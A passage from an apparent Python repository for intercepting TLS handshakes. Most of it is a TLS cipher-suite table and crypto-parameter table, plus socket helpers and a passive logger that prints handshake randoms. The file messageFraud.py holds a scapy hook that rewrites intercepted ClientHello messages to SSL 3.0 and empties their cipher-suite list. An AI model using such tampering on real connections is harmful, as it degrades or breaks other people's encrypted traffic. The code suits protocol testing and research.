'DHE_PSK_WITH_AES_128_GCM_SHA256', 240 | 0x00ab: 'DHE_PSK_WITH_AES_256_GCM_SHA384', 241 | 0x00ac: 'RSA_PSK_WITH_AES_128_GCM_SHA256', 242 | 0x00ad: 'RSA_PSK_WITH_AES_256_GCM_SHA384', 243 | 0x00ae: 'PSK_WITH_AES_128_CBC_SHA256', 244 | 0x00af: 'PSK_WITH_AES_256_CBC_SHA384', 245 | 0x00b0: 'PSK_WITH_NULL_SHA256', 246 | 0x00b1: 'PSK_WITH_NULL_SHA384', 247 | 0x00b2: 'DHE_PSK_WITH_AES_128_CBC_SHA256', 248 | 0x00b3: 'DHE_PSK_WITH_AES_256_CBC_SHA384', 249 | 0x00b4: 'DHE_PSK_WITH_NULL_SHA256', 250 | 0x00b5: 'DHE_PSK_WITH_NULL_SHA384', 251 | 0x00b6: 'RSA_PSK_WITH_AES_128_CBC_SHA256', 252 | 0x00b7: 'RSA_PSK_WITH_AES_256_CBC_SHA384', 253 | 0x00b8: 'RSA_PSK_WITH_NULL_SHA256', 254 | 0x00b9: 'RSA_PSK_WITH_NULL_SHA384', 255 | 0x00ba: 'RSA_WITH_CAMELLIA_128_CBC_SHA256', 256 | 0x00bb: 'DH_DSS_WITH_CAMELLIA_128_CBC_SHA256', 257 | 0x00bc: 'DH_RSA_WITH_CAMELLIA_128_CBC_SHA256', 258 | 0x00bd: 'DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256', 259 | 0x00be: 'DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256', 260 | 0x00bf: 'DH_anon_WITH_CAMELLIA_128_CBC_SHA256', 261 | 0x00c0: 'RSA_WITH_CAMELLIA_256_CBC_SHA256', 262 | 0x00c1: 'DH_DSS_WITH_CAMELLIA_256_CBC_SHA256', 263 | 0x00c2: 'DH_RSA_WITH_CAMELLIA_256_CBC_SHA256', 264 | 0x00c3: 'DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256', 265 | 0x00c4: 'DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256', 266 | 0x00c5: 'DH_anon_WITH_CAMELLIA_256_CBC_SHA256', 267 | 0x00ff: 'EMPTY_RENEGOTIATION_INFO_SCSV', 268 | 0x5600: 'FALLBACK_SCSV', 269 | 0xc001: 'ECDH_ECDSA_WITH_NULL_SHA', 270 | 0xc002: 'ECDH_ECDSA_WITH_RC4_128_SHA', 271 | 0xc003: 'ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA', 272 | 0xc004: 'ECDH_ECDSA_WITH_AES_128_CBC_SHA', 273 | 0xc005: 'ECDH_ECDSA_WITH_AES_256_CBC_SHA', 274 | 0xc006: 'ECDHE_ECDSA_WITH_NULL_SHA', 275 | 0xc007: 'ECDHE_ECDSA_WITH_RC4_128_SHA', 276 | 0xc008: 'ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA', 277 | 0xc009: 'ECDHE_ECDSA_WITH_AES_128_CBC_SHA', 278 | 0xc00a: 'ECDHE_ECDSA_WITH_AES_256_CBC_SHA', 279 | 0xc00b: 'ECDH_RSA_WITH_NULL_SHA', 280 | 0xc00c: 'ECDH_RSA_WITH_RC4_128_SHA', 281 | 0xc00d: 'ECDH_RSA_WITH_3DES_EDE_CBC_SHA', 282 | 0xc00e: 'ECDH_RSA_WITH_AES_128_CBC_SHA', 283 | 0xc00f: 'ECDH_RSA_WITH_AES_256_CBC_SHA', 284 | 0xc010: 'ECDHE_RSA_WITH_NULL_SHA', 285 | 0xc011: 'ECDHE_RSA_WITH_RC4_128_SHA', 286 | 0xc012: 'ECDHE_RSA_WITH_3DES_EDE_CBC_SHA', 287 | 0xc013: 'ECDHE_RSA_WITH_AES_128_CBC_SHA', 288 | 0xc014: 'ECDHE_RSA_WITH_AES_256_CBC_SHA', 289 | 0xc015: 'ECDH_anon_WITH_NULL_SHA', 290 | 0xc016: 'ECDH_anon_WITH_RC4_128_SHA', 291 | 0xc017: 'ECDH_anon_WITH_3DES_EDE_CBC_SHA', 292 | 0xc018: 'ECDH_anon_WITH_AES_128_CBC_SHA', 293 | 0xc019: 'ECDH_anon_WITH_AES_256_CBC_SHA', 294 | 0xc01a: 'SRP_SHA_WITH_3DES_EDE_CBC_SHA', 295 | 0xc01b: 'SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA', 296 | 0xc01c: 'SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA', 297 | 0xc01d: 'SRP_SHA_WITH_AES_128_CBC_SHA', 298 | 0xc01e: 'SRP_SHA_RSA_WITH_AES_128_CBC_SHA', 299 | 0xc01f: 'SRP_SHA_DSS_WITH_AES_128_CBC_SHA', 300 | 0xc020: 'SRP_SHA_WITH_AES_256_CBC_SHA', 301 | 0xc021: 'SRP_SHA_RSA_WITH_AES_256_CBC_SHA', 302 | 0xc022: 'SRP_SHA_DSS_WITH_AES_256_CBC_SHA', 303 | 0xc023: 'ECDHE_ECDSA_WITH_AES_128_CBC_SHA256', 304 | 0xc024: 'ECDHE_ECDSA_WITH_AES_256_CBC_SHA384', 305 | 0xc025: 'ECDH_ECDSA_WITH_AES_128_CBC_SHA256', 306 | 0xc026: 'ECDH_ECDSA_WITH_AES_256_CBC_SHA384', 307 | 0xc027: 'ECDHE_RSA_WITH_AES_128_CBC_SHA256', 308 | 0xc028: 'ECDHE_RSA_WITH_AES_256_CBC_SHA384', 309 | 0xc029: 'ECDH_RSA_WITH_AES_128_CBC_SHA256', 310 | 0xc02a: 'ECDH_RSA_WITH_AES_256_CBC_SHA384', 311 | 0xc02b: 'ECDHE_ECDSA_WITH_AES_128_GCM_SHA256', 312 | 0xc02c: 'ECDHE_ECDSA_WITH_AES_256_GCM_SHA384', 313 | 0xc02d: 'ECDH_ECDSA_WITH_AES_128_GCM_SHA256', 314 | 0xc02e: 'ECDH_ECDSA_WITH_AES_256_GCM_SHA384', 315 | 0xc02f: 'ECDHE_RSA_WITH_AES_128_GCM_SHA256', 316 | 0xc030: 'ECDHE_RSA_WITH_AES_256_GCM_SHA384', 317 | 0xc031: 'ECDH_RSA_WITH_AES_128_GCM_SHA256', 318 | 0xc032: 'ECDH_RSA_WITH_AES_256_GCM_SHA384', 319 | 0xc033: 'ECDHE_PSK_WITH_RC4_128_SHA', 320 | 0xc034: 'ECDHE_PSK_WITH_3DES_EDE_CBC_SHA', 321 | 0xc035: 'ECDHE_PSK_WITH_AES_128_CBC_SHA', 322 | 0xc036: 'ECDHE_PSK_WITH_AES_256_CBC_SHA', 323 | 0xc037: 'ECDHE_PSK_WITH_AES_128_CBC_SHA256', 324 | 0xc038: 'ECDHE_PSK_WITH_AES_256_CBC_SHA384', 325 | 0xc039: 'ECDHE_PSK_WITH_NULL_SHA', 326 | 0xc03a: 'ECDHE_PSK_WITH_NULL_SHA256', 327 | 0xc03b: 'ECDHE_PSK_WITH_NULL_SHA384', 328 | 0xc03c: 'RSA_WITH_ARIA_128_CBC_SHA256', 329 | 0xc03d: 'RSA_WITH_ARIA_256_CBC_SHA384', 330 | 0xc03e: 'DH_DSS_WITH_ARIA_128_CBC_SHA256', 331 | 0xc03f: 'DH_DSS_WITH_ARIA_256_CBC_SHA384', 332 | 0xc040: 'DH_RSA_WITH_ARIA_128_CBC_SHA256', 333 | 0xc041: 'DH_RSA_WITH_ARIA_256_CBC_SHA384', 334 | 0xc042: 'DHE_DSS_WITH_ARIA_128_CBC_SHA256', 335 | 0xc043: 'DHE_DSS_WITH_ARIA_256_CBC_SHA384', 336 | 0xc044: 'DHE_RSA_WITH_ARIA_128_CBC_SHA256', 337 | 0xc045: 'DHE_RSA_WITH_ARIA_256_CBC_SHA384', 338 | 0xc046: 'DH_anon_WITH_ARIA_128_CBC_SHA256', 339 | 0xc047: 'DH_anon_WITH_ARIA_256_CBC_SHA384', 340 | 0xc048: 'ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256', 341 | 0xc049: 'ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384', 342 | 0xc04a: 'ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256', 343 | 0xc04b: 'ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384', 344 | 0xc04c: 'ECDHE_RSA_WITH_ARIA_128_CBC_SHA256', 345 | 0xc04d: 'ECDHE_RSA_WITH_ARIA_256_CBC_SHA384', 346 | 0xc04e: 'ECDH_RSA_WITH_ARIA_128_CBC_SHA256', 347 | 0xc04f: 'ECDH_RSA_WITH_ARIA_256_CBC_SHA384', 348 | 0xc050: 'RSA_WITH_ARIA_128_GCM_SHA256', 349 | 0xc051: 'RSA_WITH_ARIA_256_GCM_SHA384', 350 | 0xc052: 'DHE_RSA_WITH_ARIA_128_GCM_SHA256', 351 | 0xc053: 'DHE_RSA_WITH_ARIA_256_GCM_SHA384', 352 | 0xc054: 'DH_RSA_WITH_ARIA_128_GCM_SHA256', 353 | 0xc055: 'DH_RSA_WITH_ARIA_256_GCM_SHA384', 354 | 0xc056: 'DHE_DSS_WITH_ARIA_128_GCM_SHA256', 355 | 0xc057: 'DHE_DSS_WITH_ARIA_256_GCM_SHA384', 356 | 0xc058: 'DH_DSS_WITH_ARIA_128_GCM_SHA256', 357 | 0xc059: 'DH_DSS_WITH_ARIA_256_GCM_SHA384', 358 | 0xc05a: 'DH_anon_WITH_ARIA_128_GCM_SHA256', 359 | 0xc05b: 'DH_anon_WITH_ARIA_256_GCM_SHA384', 360 | 0xc05c: 'ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256', 361 | 0xc05d: 'ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384', 362 | 0xc05e: 'ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256', 363 | 0xc05f: 'ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384', 364 | 0xc060: 'ECDHE_RSA_WITH_ARIA_128_GCM_SHA256', 365 | 0xc061: 'ECDHE_RSA_WITH_ARIA_256_GCM_SHA384', 366 | 0xc062: 'ECDH_RSA_WITH_ARIA_128_GCM_SHA256', 367 | 0xc063: 'ECDH_RSA_WITH_ARIA_256_GCM_SHA384', 368 | 0xc064: 'PSK_WITH_ARIA_128_CBC_SHA256', 369 | 0xc065: 'PSK_WITH_ARIA_256_CBC_SHA384', 370 | 0xc066: 'DHE_PSK_WITH_ARIA_128_CBC_SHA256', 371 | 0xc067: 'DHE_PSK_WITH_ARIA_256_CBC_SHA384', 372 | 0xc068: 'RSA_PSK_WITH_ARIA_128_CBC_SHA256', 373 | 0xc069: 'RSA_PSK_WITH_ARIA_256_CBC_SHA384', 374 | 0xc06a: 'PSK_WITH_ARIA_128_GCM_SHA256', 375 | 0xc06b: 'PSK_WITH_ARIA_256_GCM_SHA384', 376 | 0xc06c: 'DHE_PSK_WITH_ARIA_128_GCM_SHA256', 377 | 0xc06d: 'DHE_PSK_WITH_ARIA_256_GCM_SHA384', 378 | 0xc06e: 'RSA_PSK_WITH_ARIA_128_GCM_SHA256', 379 | 0xc06f: 'RSA_PSK_WITH_ARIA_256_GCM_SHA384', 380 | 0xc070: 'ECDHE_PSK_WITH_ARIA_128_CBC_SHA256', 381 | 0xc071: 'ECDHE_PSK_WITH_ARIA_256_CBC_SHA384', 382 | 0xc072: 'ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256', 383 | 0xc073: 'ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384', 384 | 0xc074: 'ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256', 385 | 0xc075: 'ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384', 386 | 0xc076: 'ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256', 387 | 0xc077: 'ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384', 388 | 0xc078: 'ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256', 389 | 0xc079: 'ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384', 390 | 0xc07a: 'RSA_WITH_CAMELLIA_128_GCM_SHA256', 391 | 0xc07b: 'RSA_WITH_CAMELLIA_256_GCM_SHA384', 392 | 0xc07c: 'DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256', 393 | 0xc07d: 'DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384', 394 | 0xc07e: 'DH_RSA_WITH_CAMELLIA_128_GCM_SHA256', 395 | 0xc07f: 'DH_RSA_WITH_CAMELLIA_256_GCM_SHA384', 396 | 0xc080: 'DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256', 397 | 0xc081: 'DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384', 398 | 0xc082: 'DH_DSS_WITH_CAMELLIA_128_GCM_SHA256', 399 | 0xc083: 'DH_DSS_WITH_CAMELLIA_256_GCM_SHA384', 400 | 0xc084: 'DH_anon_WITH_CAMELLIA_128_GCM_SHA256', 401 | 0xc085: 'DH_anon_WITH_CAMELLIA_256_GCM_SHA384', 402 | 0xc086: 'ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256', 403 | 0xc087: 'ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384', 404 | 0xc088: 'ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256', 405 | 0xc089: 'ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384', 406 | 0xc08a: 'ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256', 407 | 0xc08b: 'ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384', 408 | 0xc08c: 'ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256', 409 | 0xc08d: 'ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384', 410 | 0xc08e: 'PSK_WITH_CAMELLIA_128_GCM_SHA256', 411 | 0xc08f: 'PSK_WITH_CAMELLIA_256_GCM_SHA384', 412 | 0xc090: 'DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256', 413 | 0xc091: 'DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384', 414 | 0xc092: 'RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256', 415 | 0xc093: 'RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384', 416 | 0xc094: 'PSK_WITH_CAMELLIA_128_CBC_SHA256', 417 | 0xc095: 'PSK_WITH_CAMELLIA_256_CBC_SHA384', 418 | 0xc096: 'DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256', 419 | 0xc097: 'DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384', 420 | 0xc098: 'RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256', 421 | 0xc099: 'RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384', 422 | 0xc09a: 'ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256', 423 | 0xc09b: 'ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384', 424 | 0xc09c: 'RSA_WITH_AES_128_CCM', 425 | 0xc09d: 'RSA_WITH_AES_256_CCM', 426 | 0xc09e: 'DHE_RSA_WITH_AES_128_CCM', 427 | 0xc09f: 'DHE_RSA_WITH_AES_256_CCM', 428 | 0xc0a0: 'RSA_WITH_AES_128_CCM_8', 429 | 0xc0a1: 'RSA_WITH_AES_256_CCM_8', 430 | 0xc0a2: 'DHE_RSA_WITH_AES_128_CCM_8', 431 | 0xc0a3: 'DHE_RSA_WITH_AES_256_CCM_8', 432 | 0xc0a4: 'PSK_WITH_AES_128_CCM', 433 | 0xc0a5: 'PSK_WITH_AES_256_CCM', 434 | 0xc0a6: 'DHE_PSK_WITH_AES_128_CCM', 435 | 0xc0a7: 'DHE_PSK_WITH_AES_256_CCM', 436 | 0xc0a8: 'PSK_WITH_AES_128_CCM_8', 437 | 0xc0a9: 'PSK_WITH_AES_256_CCM_8', 438 | 0xc0aa: 'PSK_DHE_WITH_AES_128_CCM_8', 439 | 0xc0ab: 'PSK_DHE_WITH_AES_256_CCM_8', 440 | 0xc0ac: 'ECDHE_ECDSA_WITH_AES_128_CCM', 441 | 0xc0ad: 'ECDHE_ECDSA_WITH_AES_256_CCM', 442 | 0xc0ae: 'ECDHE_ECDSA_WITH_AES_128_CCM_8', 443 | 0xc0af: 'ECDHE_ECDSA_WITH_AES_256_CCM_8', 444 | } 445 | 446 | crypto_params = { 447 | 'NULL_WITH_NULL_NULL': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0000], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":NullCipher, "name":"Null", "keyLen":0, "mode":None, "mode_name":""}, "hash":{"type":NullHash, "name":"Null"}}, 448 | 'RSA_WITH_NULL_MD5': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0001], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":NullCipher, "name":"Null", "keyLen":0, "mode":None, "mode_name":""}, "hash":{"type":MD5, "name":"MD5"}}, 449 | 'RSA_WITH_NULL_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0002], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":NullCipher, "name":"Null", "keyLen":0, "mode":None, "mode_name":""}, "hash":{"type":SHA, "name":"SHA"}}, 450 | 'RSA_EXPORT_WITH_RC4_40_MD5': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0003], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":5, "mode":None, "mode_name":"Stream"}, "hash":{"type":MD5, "name":"MD5"}}, 451 | 'RSA_WITH_RC4_128_MD5': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0004], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":16, "mode":None, "mode_name":"Stream"}, "hash":{"type":MD5, "name":"MD5"}}, 452 | 'RSA_WITH_RC4_128_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0005], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":16, "mode":None, "mode_name":"Stream"}, "hash":{"type":SHA, "name":"SHA"}}, 453 | 'RSA_EXPORT_WITH_RC2_CBC_40_MD5': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0006], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC2, "name":"RC2", "keyLen":5, "mode":ARC2.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":MD5, "name":"MD5"}}, 454 | # 0x0007: RSA_WITH_IDEA_CBC_SHA => IDEA support would require python openssl bindings 455 | 'RSA_EXPORT_WITH_DES40_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0008], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":DES, "name":"DES", "keyLen":5, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 456 | 'RSA_WITH_DES_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0009], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":DES, "name":"DES", "keyLen":8, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 457 | 'RSA_WITH_3DES_EDE_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x000a], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":DES3, "name":"DES3", "keyLen":24, "mode":DES3.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 458 | 'RSA_WITH_AES_128_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x002f], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":AES, "name":"AES", "keyLen":16, "mode":AES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 459 | 'RSA_WITH_AES_256_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0035], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":AES, "name":"AES", "keyLen":32, "mode":AES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 460 | 'RSA_WITH_NULL_SHA256': {"name":TLS_CIPHER_SUITE_REGISTRY[0x003b], "export":False, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":NullCipher, "name":"Null", "keyLen":0, "mode":None, "mode_name":""}, "hash":{"type":SHA256, "name":"SHA256"}}, 461 | 'RSA_EXPORT1024_WITH_RC4_56_MD5': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0060], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":8, "mode":None, "mode_name":"Stream"}, "hash":{"type":MD5, "name":"MD5"}}, 462 | 'RSA_EXPORT1024_WITH_RC2_CBC_56_MD5': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0061], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC2, "name":"RC2", "keyLen":8, "mode":ARC2.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":MD5, "name":"MD5"}}, 463 | 'RSA_EXPORT1024_WITH_DES_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0062], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":DES, "name":"DES", "keyLen":8, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 464 | 'RSA_EXPORT1024_WITH_RC4_56_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0064], "export":True, "key_exchange":{"type":RSA, "name":RSA, "sig":None}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":8, "mode":None, "mode_name":"Stream"}, "hash":{"type":SHA, "name":"SHA"}}, 465 | # 0x0084: RSA_WITH_CAMELLIA_256_CBC_SHA => Camelia support should use camcrypt or the camelia patch for pycrypto 466 | 'DHE_DSS_EXPORT_WITH_DES40_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0011], "export":True, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":DES, "name":"DES", "keyLen":5, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 467 | 'DHE_DSS_WITH_DES_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0012], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":DES, "name":"DES", "keyLen":8, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 468 | 'DHE_DSS_WITH_3DES_EDE_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0013], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":DES3, "name":"DES3", "keyLen":24, "mode":DES3.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 469 | 'DHE_RSA_EXPORT_WITH_DES40_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0014], "export":True, "key_exchange":{"type":DHE, "name":DHE, "sig":RSA}, "cipher":{"type":DES, "name":"DES", "keyLen":5, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 470 | 'DHE_RSA_WITH_DES_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0015], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":RSA}, "cipher":{"type":DES, "name":"DES", "keyLen":8, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 471 | 'DHE_RSA_WITH_3DES_EDE_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0016], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":RSA}, "cipher":{"type":DES3, "name":"DES3", "keyLen":24, "mode":DES3.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 472 | 'DHE_DSS_WITH_AES_128_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0032], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":AES, "name":"AES", "keyLen":16, "mode":AES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 473 | 'DHE_RSA_WITH_AES_128_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0033], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":RSA}, "cipher":{"type":AES, "name":"AES", "keyLen":16, "mode":AES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 474 | 'DHE_DSS_WITH_AES_256_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0038], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":AES, "name":"AES", "keyLen":32, "mode":AES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 475 | 'DHE_RSA_WITH_AES_256_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0039], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":RSA}, "cipher":{"type":AES, "name":"AES", "keyLen":32, "mode":AES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 476 | 'DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0063], "export":True, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":DES, "name":"DES", "keyLen":8, "mode":DES.MODE_CBC, "mode_name":"CBC"}, "hash":{"type":SHA, "name":"SHA"}}, 477 | 'DHE_DSS_EXPORT1024_WITH_RC4_56_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0065], "export":True, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":8, "mode":None, "mode_name":"Stream"}, "hash":{"type":SHA, "name":"SHA"}}, 478 | 'DHE_DSS_WITH_RC4_128_SHA': {"name":TLS_CIPHER_SUITE_REGISTRY[0x0066], "export":False, "key_exchange":{"type":DHE, "name":DHE, "sig":DSA}, "cipher":{"type":ARC4, "name":"RC4", "keyLen":16, "mode":None, "mode_name":"Stream"}, "hash":{"type":SHA, "name":"SHA"}}, 479 | # 0x0087: DHE_DSS_WITH_CAMELLIA_256_CBC_SHA => Camelia support should use camcrypt or the camelia patch for pycrypto 480 | # 0x0088: DHE_RSA_WITH_CAMELLIA_256_CBC_SHA => Camelia support should use camcrypt or the camelia patch for pycrypto 481 | } 482 | def parseCS(num): 483 | return TLS_CIPHER_SUITE_REGISTRY[num] 484 | 485 | 486 | def recvall(sock, length): 487 | rlen = length 488 | data = '' 489 | while rlen > 0: 490 | tmp = sock.recv(rlen) 491 | if not tmp: 492 | break 493 | data += tmp 494 | rlen -= len(tmp) 495 | return data 496 | 497 | def recv_one(ssock, csock): 498 | readable = select.select([ssock, csock],[],[],30)[0] 499 | datalist = [] 500 | for r in readable: 501 | data = r.recv(2048) 502 | datalist.append((r, data)) 503 | return datalist 504 | -------------------------------------------------------------------------------- /messageFraud.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | useOrinAddr = True 3 | 4 | def clienthelloprocess(csession, ssession, p): 5 | p[TLSHandshake].version = '\x03\x00' 6 | p[TLSHandshake].cipher_suites_length = 2 7 | p[TLSHandshake].cipher_suites = 0 8 | p[TLSHandshake].length = len(str(p[TLSClientHello])) 9 | p.length = len(str(p[TLSHandshake])) 10 | return p 11 | 12 | def serverhelloprocess(csession, ssession, p): 13 | return p 14 | 15 | def certificateprocess(csession, ssession, p): 16 | return p 17 | 18 | def clientkeyexgprocess(csession, ssession, p): 19 | return p 20 | 21 | def serverkeyexgprocess(csession, ssession, p): 22 | return p 23 | 24 | def clientfinishprocess(csession, ssession, p): 25 | return p 26 | 27 | def serverfinishprocess(csession, ssession, p): 28 | return p 29 | 30 | def clientchangecsprocess(csession, ssession, p): 31 | return p 32 | 33 | def serverchangecsprocess(csession, ssession, p): 34 | return p 35 | 36 | def clientappdataprocess(csession, ssession, p): 37 | return p 38 | 39 | def serverappdataprocess(csession, ssession, p): 40 | return p 41 | -------------------------------------------------------------------------------- /passive.py: -------------------------------------------------------------------------------- 1 | from header import * 2 | 3 | def clienthelloprocess(csession, ssession, p): 4 | print "Version:%s"%(TLS_VERSIONS[p[TLSHandshake].version]) 5 | print "ClientRandom:%s"%p[TLSHandshake].random_bytes.encode('hex') 6 | return p 7 | 8 | def serverhelloprocess(csession, ssession, p): 9 | print "ServerRandom:%s"%p[TLSHandshake].random_bytes.encode('hex') 10 | print "CipherSuite:%s"%parseCS(p[TLSHandshake].cipher_suite) 11 | print "CompressionMethod:%s"%p[TLSHandshake].compression_method 12 | return p 13 | 14 | def certificateprocess(csession, ssession, p): 15 | return p 16 | 17 | def clientkeyexgprocess(csession, ssession, p): 18 | return p 19 | 20 | def serverkeyexgprocess(csession, ssession, p): 21 | return p 22 | 23 | def clientfinishprocess(csession, ssession, p): 24 | return p 25 | 26 | def serverfinishprocess(csession, ssession, p): 27 | return p 28 | 29 | def clientchangecsprocess(csession, ssession, p): 30 | return p 31 | 32 | def serverchangecsprocess(csession, ssession, p): 33 | return p 34 | 35 | def clientappdataprocess(csession, ssession, p): 36 | return p 37 | 38 | def 